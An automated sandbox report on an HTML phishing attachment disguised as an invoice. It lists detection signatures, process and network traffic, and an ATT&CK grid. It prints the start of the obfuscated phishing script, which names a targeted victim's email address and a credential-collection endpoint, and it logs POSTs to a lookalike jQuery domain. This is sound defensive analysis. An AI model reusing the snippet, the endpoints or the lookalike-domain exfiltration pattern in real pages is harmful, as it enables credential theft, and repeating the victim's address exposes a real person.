Edit tour

Windows Analysis Report
INVOICE03800838-93U8REMIT903904989304.HTML

Overview

General Information

Sample Name:	INVOICE03800838-93U8REMIT903904989304.HTML
Analysis ID:	626429
MD5:	c01949c2398a23b5df8f207df4e375e9
SHA1:	fe52336b5c1ba164795c0e0146836e3be7e8fde1
SHA256:	ce76216ad908ae1e7b61c1cb63e2321be9acb1af224121fafd8c5e2c6daaf0f5
Infos:

Detection

HTMLPhisher

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected HtmlPhish10

Found C&C like URL pattern

HTML document with suspicious title

HTML document with suspicious name

Invalid 'forgot password' link found

HTML body contains low number of good links

Invalid T&C link found

IP address seen in connection with other malware

None HTTPS page querying sensitive user data (password, username or email)

Internet Provider seen in connection with other malware

No HTML title found

Classification

Process Tree

System is w10x64

chrome.exe (PID: 6352 cmdline: C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --enable-automation "C:\Users\user\Desktop\INVOICE03800838-93U8REMIT903904989304.HTML MD5: C139654B5C1438A95B321BB01AD63EF6)

chrome.exe (PID: 6508 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1612,6768803995754101129,222923917044631795,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1932 /prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
12440.0.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

Yara detected HtmlPhish10

Source: Yara match

File source: 12440.0.pages.csv, type: HTML

Source: file:///C:/Users/user/Desktop/INVOICE03800838-93U8REMIT903904989304.HTML	HTTP Parser: Invalid link: Forgot my password
Source: file:///C:/Users/user/Desktop/INVOICE03800838-93U8REMIT903904989304.HTML	HTTP Parser: Invalid link: Forgot my password

Source: file:///C:/Users/user/Desktop/INVOICE03800838-93U8REMIT903904989304.HTML	HTTP Parser: Number of links: 0
Source: file:///C:/Users/user/Desktop/INVOICE03800838-93U8REMIT903904989304.HTML	HTTP Parser: Number of links: 0

Source: file:///C:/Users/user/Desktop/INVOICE03800838-93U8REMIT903904989304.HTML	HTTP Parser: Invalid link: Terms of use
Source: file:///C:/Users/user/Desktop/INVOICE03800838-93U8REMIT903904989304.HTML	HTTP Parser: Invalid link: Privacy & cookies
Source: file:///C:/Users/user/Desktop/INVOICE03800838-93U8REMIT903904989304.HTML	HTTP Parser: Invalid link: Terms of use
Source: file:///C:/Users/user/Desktop/INVOICE03800838-93U8REMIT903904989304.HTML	HTTP Parser: Invalid link: Privacy & cookies

Source: file:///C:/Users/user/Desktop/INVOICE03800838-93U8REMIT903904989304.HTML	HTTP Parser: Has password / email / username input fields
Source: file:///C:/Users/user/Desktop/INVOICE03800838-93U8REMIT903904989304.HTML	HTTP Parser: Has password / email / username input fields

Source: file:///C:/Users/user/Desktop/INVOICE03800838-93U8REMIT903904989304.HTML	HTTP Parser: HTML title missing
Source: file:///C:/Users/user/Desktop/INVOICE03800838-93U8REMIT903904989304.HTML	HTTP Parser: HTML title missing

Source: file:///C:/Users/user/Desktop/INVOICE03800838-93U8REMIT903904989304.HTML	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/INVOICE03800838-93U8REMIT903904989304.HTML	HTTP Parser: No <meta name="author".. found

Source: file:///C:/Users/user/Desktop/INVOICE03800838-93U8REMIT903904989304.HTML	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/INVOICE03800838-93U8REMIT903904989304.HTML	HTTP Parser: No <meta name="copyright".. found

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries\en-US-9-0.bdic			Jump to behavior

Networking

Found C&C like URL pattern

Source: global traffic

HTTP traffic detected: POST /post.php HTTP/1.1Host: code.jquery.com.deConnection: keep-aliveContent-Length: 160User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Content-type: application/x-www-form-urlencodedAccept: */*Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View	IP Address: 38.34.185.163 38.34.185.163

Source: Joe Sandbox View

ASN Name: COGENT-174US COGENT-174US

Source: unknown

DNS traffic detected: queries for: accounts.google.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: global traffic	HTTP traffic detected: GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=85.0.4183.121&lang=en-US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dpkedcjkdefgpdelpbcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1Host: clients2.google.comConnection: keep-aliveX-Goog-Update-Interactivity: fgX-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda,pkedcjkdefgpdelpbcmbmeomcjbeemfmX-Goog-Update-Updater: chromecrx-85.0.4183.121Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.5.1.min.js HTTP/1.1Host: code.jquery.com.deConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /condenast.com HTTP/1.1Host: logo.clearbit.comConnection: keep-aliveAccept: /User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ip.php HTTP/1.1Host: code.jquery.com.deConnection: keep-aliveAccept: /User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: pnacl_public_x86_64_pnacl_sz_nexe.0.dr, pnacl_public_x86_64_pnacl_llc_nexe.0.dr	String found in binary or memory: http://llvm.org/):
Source: e17edae4-b2e7-4002-b37d-2d5696f0f850.tmp.1.dr, 90c81b4a-8fee-47b7-a906-2e0108701704.tmp.1.dr	String found in binary or memory: https://accounts.google.com
Source: craw_window.js.0.dr	String found in binary or memory: https://accounts.google.com/MergeSession
Source: e17edae4-b2e7-4002-b37d-2d5696f0f850.tmp.1.dr, 90c81b4a-8fee-47b7-a906-2e0108701704.tmp.1.dr	String found in binary or memory: https://apis.google.com
Source: pnacl_public_x86_64_libpnacl_irt_shim_dummy_a.0.dr	String found in binary or memory: https://chromium.googlesource.com/a/native_client/pnacl-clang.git
Source: pnacl_public_x86_64_libpnacl_irt_shim_dummy_a.0.dr	String found in binary or memory: https://chromium.googlesource.com/a/native_client/pnacl-llvm.git
Source: e17edae4-b2e7-4002-b37d-2d5696f0f850.tmp.1.dr, 90c81b4a-8fee-47b7-a906-2e0108701704.tmp.1.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.0.dr, manifest.json.0.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: e17edae4-b2e7-4002-b37d-2d5696f0f850.tmp.1.dr, 90c81b4a-8fee-47b7-a906-2e0108701704.tmp.1.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: pnacl_public_x86_64_ld_nexe.0.dr	String found in binary or memory: https://code.google.com/p/nativeclient/issues/entry
Source: pnacl_public_x86_64_ld_nexe.0.dr	String found in binary or memory: https://code.google.com/p/nativeclient/issues/entry%s:
Source: bb37dd08-61d9-4b73-8766-78a247b93df4.tmp.1.dr, e17edae4-b2e7-4002-b37d-2d5696f0f850.tmp.1.dr, fc6054c0-36cb-491f-9bfa-d522ecb6b6c8.tmp.1.dr, 90c81b4a-8fee-47b7-a906-2e0108701704.tmp.1.dr	String found in binary or memory: https://dns.google
Source: 90c81b4a-8fee-47b7-a906-2e0108701704.tmp.1.dr	String found in binary or memory: https://fonts.googleapis.com
Source: e17edae4-b2e7-4002-b37d-2d5696f0f850.tmp.1.dr, 90c81b4a-8fee-47b7-a906-2e0108701704.tmp.1.dr	String found in binary or memory: https://fonts.gstatic.com
Source: craw_window.js.0.dr, craw_background.js.0.dr	String found in binary or memory: https://github.com/google/closure-library/wiki/goog.module:-an-ES6-module-like-alternative-to-goog.p
Source: INVOICE03800838-93U8REMIT903904989304.HTML	String found in binary or memory: https://kryptokingtrading.com/webapp/data.php
Source: e17edae4-b2e7-4002-b37d-2d5696f0f850.tmp.1.dr, 90c81b4a-8fee-47b7-a906-2e0108701704.tmp.1.dr	String found in binary or memory: https://ogs.google.com
Source: craw_window.js.0.dr, manifest.json.0.dr	String found in binary or memory: https://payments.google.com/payments/v4/js/integrator.js
Source: e17edae4-b2e7-4002-b37d-2d5696f0f850.tmp.1.dr, 90c81b4a-8fee-47b7-a906-2e0108701704.tmp.1.dr	String found in binary or memory: https://play.google.com
Source: e17edae4-b2e7-4002-b37d-2d5696f0f850.tmp.1.dr	String found in binary or memory: https://r3---sn-4g5ednde.gvt1.com
Source: e17edae4-b2e7-4002-b37d-2d5696f0f850.tmp.1.dr	String found in binary or memory: https://redirector.gvt1.com
Source: craw_window.js.0.dr, manifest.json.0.dr	String found in binary or memory: https://sandbox.google.com/payments/v4/js/integrator.js
Source: e17edae4-b2e7-4002-b37d-2d5696f0f850.tmp.1.dr, 90c81b4a-8fee-47b7-a906-2e0108701704.tmp.1.dr	String found in binary or memory: https://ssl.gstatic.com
Source: craw_window.js.0.dr, craw_background.js.0.dr	String found in binary or memory: https://www-googleapis-staging.sandbox.google.com
Source: e17edae4-b2e7-4002-b37d-2d5696f0f850.tmp.1.dr, 90c81b4a-8fee-47b7-a906-2e0108701704.tmp.1.dr	String found in binary or memory: https://www.google.com
Source: manifest.json.0.dr	String found in binary or memory: https://www.google.com/
Source: craw_window.js.0.dr	String found in binary or memory: https://www.google.com/accounts/OAuthLogin?issueuberauth=1
Source: craw_window.js.0.dr	String found in binary or memory: https://www.google.com/images/cleardot.gif
Source: craw_window.js.0.dr	String found in binary or memory: https://www.google.com/images/dot2.gif
Source: craw_window.js.0.dr	String found in binary or memory: https://www.google.com/images/x2.gif
Source: craw_background.js.0.dr	String found in binary or memory: https://www.google.com/intl/en-US/chrome/blank.html
Source: e17edae4-b2e7-4002-b37d-2d5696f0f850.tmp.1.dr, craw_window.js.0.dr, craw_background.js.0.dr, 90c81b4a-8fee-47b7-a906-2e0108701704.tmp.1.dr	String found in binary or memory: https://www.googleapis.com
Source: manifest.json.0.dr	String found in binary or memory: https://www.googleapis.com/
Source: manifest.json.0.dr	String found in binary or memory: https://www.googleapis.com/auth/chromewebstore
Source: manifest.json.0.dr	String found in binary or memory: https://www.googleapis.com/auth/chromewebstore.readonly
Source: manifest.json.0.dr	String found in binary or memory: https://www.googleapis.com/auth/sierra
Source: manifest.json.0.dr	String found in binary or memory: https://www.googleapis.com/auth/sierrasandbox
Source: e17edae4-b2e7-4002-b37d-2d5696f0f850.tmp.1.dr, 90c81b4a-8fee-47b7-a906-2e0108701704.tmp.1.dr	String found in binary or memory: https://www.gstatic.com

Source: unknown

HTTP traffic detected: POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1Host: accounts.google.comConnection: keep-aliveContent-Length: 1Origin: https://www.google.comContent-Type: application/x-www-form-urlencodedSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --enable-automation "C:\Users\user\Desktop\INVOICE03800838-93U8REMIT903904989304.HTML
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1612,6768803995754101129,222923917044631795,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1932 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1612,6768803995754101129,222923917044631795,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1932 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	3 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	3 Non-Application Layer Protocol	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	14 Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	1 Ingress Tool Transfer	SIM Card Swap		Carrier Billing Fraud

Source	Detection	Scanner	Link
C:\Users\user\AppData\Local\Temp\6352_387746153\_platform_specific\x86_64\pnacl_public_x86_64_ld_nexe	0%	Metadefender	Browse
C:\Users\user\AppData\Local\Temp\6352_387746153\_platform_specific\x86_64\pnacl_public_x86_64_ld_nexe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\6352_387746153\_platform_specific\x86_64\pnacl_public_x86_64_pnacl_llc_nexe	0%	Metadefender	Browse
C:\Users\user\AppData\Local\Temp\6352_387746153\_platform_specific\x86_64\pnacl_public_x86_64_pnacl_llc_nexe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\6352_387746153\_platform_specific\x86_64\pnacl_public_x86_64_pnacl_sz_nexe	0%	Metadefender	Browse
C:\Users\user\AppData\Local\Temp\6352_387746153\_platform_specific\x86_64\pnacl_public_x86_64_pnacl_sz_nexe	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
https://dns.google	0%	URL Reputation	safe
https://code.jquery.com.de/ip.php	0%	Avira URL Cloud	safe
https://code.jquery.com.de/post.php	0%	Virustotal		Browse
https://code.jquery.com.de/post.php	0%	Avira URL Cloud	safe
https://code.jquery.com.de/jquery-3.5.1.min.js	0%	Avira URL Cloud	safe
https://kryptokingtrading.com/webapp/data.php	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Antivirus Detection	Reputation
d26p066pn2w0s0.cloudfront.net	13.224.103.60	true	false		high
accounts.google.com	172.217.168.45	true	false		high
clients.l.google.com	142.250.203.110	true	false		high
code.jquery.com.de	38.34.185.163	true	true	0%, Virustotal, Browse	unknown
clients2.google.com	unknown	unknown	false		high
logo.clearbit.com	unknown	unknown	false		high

Name	Malicious	Antivirus Detection	Reputation
file:///C:/Users/user/Desktop/INVOICE03800838-93U8REMIT903904989304.HTML	true		low
https://code.jquery.com.de/ip.php	false	Avira URL Cloud: safe	unknown
https://clients2.google.com/service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=85.0.4183.121&lang=en-US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dpkedcjkdefgpdelpbcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1	false		high
https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard	false		high
https://code.jquery.com.de/post.php	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://logo.clearbit.com/condenast.com	false		high
https://code.jquery.com.de/jquery-3.5.1.min.js	false	Avira URL Cloud: safe	unknown

Name	Source	Malicious	Antivirus Detection	Reputation
https://dns.google	bb37dd08-61d9-4b73-8766-78a247b93df4.tmp.1.dr, e17edae4-b2e7-4002-b37d-2d5696f0f850.tmp.1.dr, fc6054c0-36cb-491f-9bfa-d522ecb6b6c8.tmp.1.dr, 90c81b4a-8fee-47b7-a906-2e0108701704.tmp.1.dr	false	URL Reputation: safe	unknown
https://github.com/google/closure-library/wiki/goog.module:-an-ES6-module-like-alternative-to-goog.p	craw_window.js.0.dr, craw_background.js.0.dr	false		high
https://www.google.com/intl/en-US/chrome/blank.html	craw_background.js.0.dr	false		high
https://ogs.google.com	e17edae4-b2e7-4002-b37d-2d5696f0f850.tmp.1.dr, 90c81b4a-8fee-47b7-a906-2e0108701704.tmp.1.dr	false		high
https://www.google.com/images/cleardot.gif	craw_window.js.0.dr	false		high
https://play.google.com	e17edae4-b2e7-4002-b37d-2d5696f0f850.tmp.1.dr, 90c81b4a-8fee-47b7-a906-2e0108701704.tmp.1.dr	false		high
https://payments.google.com/payments/v4/js/integrator.js	craw_window.js.0.dr, manifest.json.0.dr	false		high
https://chromium.googlesource.com/a/native_client/pnacl-llvm.git	pnacl_public_x86_64_libpnacl_irt_shim_dummy_a.0.dr	false		high
https://sandbox.google.com/payments/v4/js/integrator.js	craw_window.js.0.dr, manifest.json.0.dr	false		high
https://www.google.com/images/x2.gif	craw_window.js.0.dr	false		high
https://accounts.google.com/MergeSession	craw_window.js.0.dr	false		high
http://llvm.org/):	pnacl_public_x86_64_pnacl_sz_nexe.0.dr, pnacl_public_x86_64_pnacl_llc_nexe.0.dr	false		high
https://www.google.com	e17edae4-b2e7-4002-b37d-2d5696f0f850.tmp.1.dr, 90c81b4a-8fee-47b7-a906-2e0108701704.tmp.1.dr	false		high
https://www.google.com/images/dot2.gif	craw_window.js.0.dr	false		high
https://code.google.com/p/nativeclient/issues/entry%s:	pnacl_public_x86_64_ld_nexe.0.dr	false		high
https://code.google.com/p/nativeclient/issues/entry	pnacl_public_x86_64_ld_nexe.0.dr	false		high
https://accounts.google.com	e17edae4-b2e7-4002-b37d-2d5696f0f850.tmp.1.dr, 90c81b4a-8fee-47b7-a906-2e0108701704.tmp.1.dr	false		high
https://kryptokingtrading.com/webapp/data.php	INVOICE03800838-93U8REMIT903904989304.HTML	false	Avira URL Cloud: safe	unknown
https://clients2.googleusercontent.com	e17edae4-b2e7-4002-b37d-2d5696f0f850.tmp.1.dr, 90c81b4a-8fee-47b7-a906-2e0108701704.tmp.1.dr	false		high
https://apis.google.com	e17edae4-b2e7-4002-b37d-2d5696f0f850.tmp.1.dr, 90c81b4a-8fee-47b7-a906-2e0108701704.tmp.1.dr	false		high
https://www.google.com/accounts/OAuthLogin?issueuberauth=1	craw_window.js.0.dr	false		high
https://www.google.com/	manifest.json.0.dr	false		high
https://www-googleapis-staging.sandbox.google.com	craw_window.js.0.dr, craw_background.js.0.dr	false		high
https://chromium.googlesource.com/a/native_client/pnacl-clang.git	pnacl_public_x86_64_libpnacl_irt_shim_dummy_a.0.dr	false		high
https://clients2.google.com	e17edae4-b2e7-4002-b37d-2d5696f0f850.tmp.1.dr, 90c81b4a-8fee-47b7-a906-2e0108701704.tmp.1.dr	false		high
https://clients2.google.com/service/update2/crx	manifest.json0.0.dr, manifest.json.0.dr	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
172.217.168.45	accounts.google.com	United States	15169	GOOGLEUS	false
13.224.103.60	d26p066pn2w0s0.cloudfront.net	United States	16509	AMAZON-02US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
38.34.185.163	code.jquery.com.de	United States	174	COGENT-174US	true
142.250.203.110	clients.l.google.com	United States	15169	GOOGLEUS	false

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	626429
Start date and time: 14/05/202201:24:31	2022-05-14 01:24:31 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 49s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	INVOICE03800838-93U8REMIT903904989304.HTML
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	31
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal60.phis.troj.winHTML@27/120@5/7
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .HTML Adjust boot time Enable AMSI

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	451603
Entropy (8bit):	5.009711072558331
Encrypted:	false
SSDEEP:	12288:ZHfRTyGZ6lup8Cfrvq4JBPKh+FBlESBw4p6:NfOCzvRKhGvwJ
MD5:	A78AD14E77147E7DE3647E61964C0335
SHA1:	CECC3DD41F4CEA0192B24300C71E1911BD4FCE45
SHA-256:	0D6803758FF8F87081FAFD62E90F0950DFB2DD7991E9607FE76A8F92D0E893FA
SHA-512:	DDE24D5AD50D68FC91E9E325D31E66EF8F624B6BB3A07D14FFED1104D3AB5F4EF1D7969A5CDE0DFBB19CB31C506F7DE97AF67C2F244F7E7E8E10648EA8321101
Malicious:	false
Reputation:	high, very likely benign file
Preview:	BDic.... ....6...."..Z..4g....6.2...{/...3...5....AF 1363.AF nm.AF pt.AF n1.AF p.AF tc.AF SM.AF M.AF S.AF MS.AF MNR.AF GDS.AF MNT.AF MH.AF MR.AF SZMR.AF MJ.AF MT.AF MY.AF MRZ.AF MN.AF MG.AF RM.AF N.AF MV.AF XM.AF DSM.AF SD.AF G.AF R.AF MNX.AF MRS.AF MD.AF MNRB.AF B.AF ZSMR.AF PM.AF SMNGJ.AF SMN.AF ZMR.AF SMGB.AF MZR.AF GM.AF SMR.AF SMDG.AF RMZ.AF ZM.AF MDG.AF MDT.AF SMNXT.AF SDY.AF LSDG.AF LGDS.AF GLDS.AF UY.AF U.AF DSGNX.AF GNDSX.AF DSG.AF Y.AF GS.AF IEMS.AF YP.AF ZGDRS.AF XGNVDS.AF UT.AF GNDS.AF GVDS.AF MYPS.AF XGNDS.AF TPRY.AF MDSG.AF ZGSDR.AF DYSG.AF PMYTNS.AF AGDS.AF DRZGS.AF PY.AF GSPMDY.AF EGVDS.AF SL.AF GNXDS.AF DSBG.AF IM.AF I.AF MDGS.AF SMY.AF DSGN.AF DSLG.AF GMDS.AF MDSBG.AF SGD.AF IY.AF P.AF DSMG.AF BLZGDRS.AF TR.AF AGSD.AF ZGBDRSL.AF PTRY.AF ASDGV.AF ASM.AF ICANGSD.AF ICAM.AF IKY.AF AMS.AF PMYTRS.AF BZGVDRS.AF SDRBZG.AF GVMDS.AF PSM.AF DGLS.AF GNVXDS.AF AGDSL.AF DGS.AF XDSGNV.AF BZGDRS.AF AM.AF AS.AF A.AF LDSG.AF AGVDS.AF SDG.AF LDSMG.AF EDSMG.AF EY.AF DRSMZG.AF PRYT.AF LZ

File type:	HTML document, ASCII text, with very long lines, with CRLF line terminators
Entropy (8bit):	5.639803106899629
TrID:
File name:	INVOICE03800838-93U8REMIT903904989304.HTML
File size:	67777
MD5:	c01949c2398a23b5df8f207df4e375e9
SHA1:	fe52336b5c1ba164795c0e0146836e3be7e8fde1
SHA256:	ce76216ad908ae1e7b61c1cb63e2321be9acb1af224121fafd8c5e2c6daaf0f5
SHA512:	a56d59b2be070ef4a6cfb62a374b893cbe8879242d77098d635b3d7441546314eeabf88e6320f75d1fe8f01eaeed56f6ebb1a8a40e024de53074990d034b717a
SSDEEP:	768:irtPlEIhf1jRyffQ+FLkT2Mxtn6AG8NWbijN2Vc7PMMxyH:irtG2f11yfo+F4T2aI8QUP7Hxk
TLSH:	DC63A4B210356EAD8B30A8028B449ED3515F34083F7F8AE64BF97FC7951AF235267A51
File Content Preview:	. <script>.. window.mail ="jacklyn_patterson@condenast.com";.. window.file ="https://kryptokingtrading.com/webapp/data.php";.... var P=z;(function(W,O){var o=z,u=W();while(!![]){try{var y=-parseInt(o(0x78))/(0x108+-0x1079+0xf72)*(-parseI

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 14, 2022 01:25:33.884005070 CEST	49711	443	192.168.2.3	172.217.168.45
May 14, 2022 01:25:33.884083033 CEST	443	49711	172.217.168.45	192.168.2.3
May 14, 2022 01:25:33.884175062 CEST	49711	443	192.168.2.3	172.217.168.45
May 14, 2022 01:25:33.884294033 CEST	49712	443	192.168.2.3	142.250.203.110
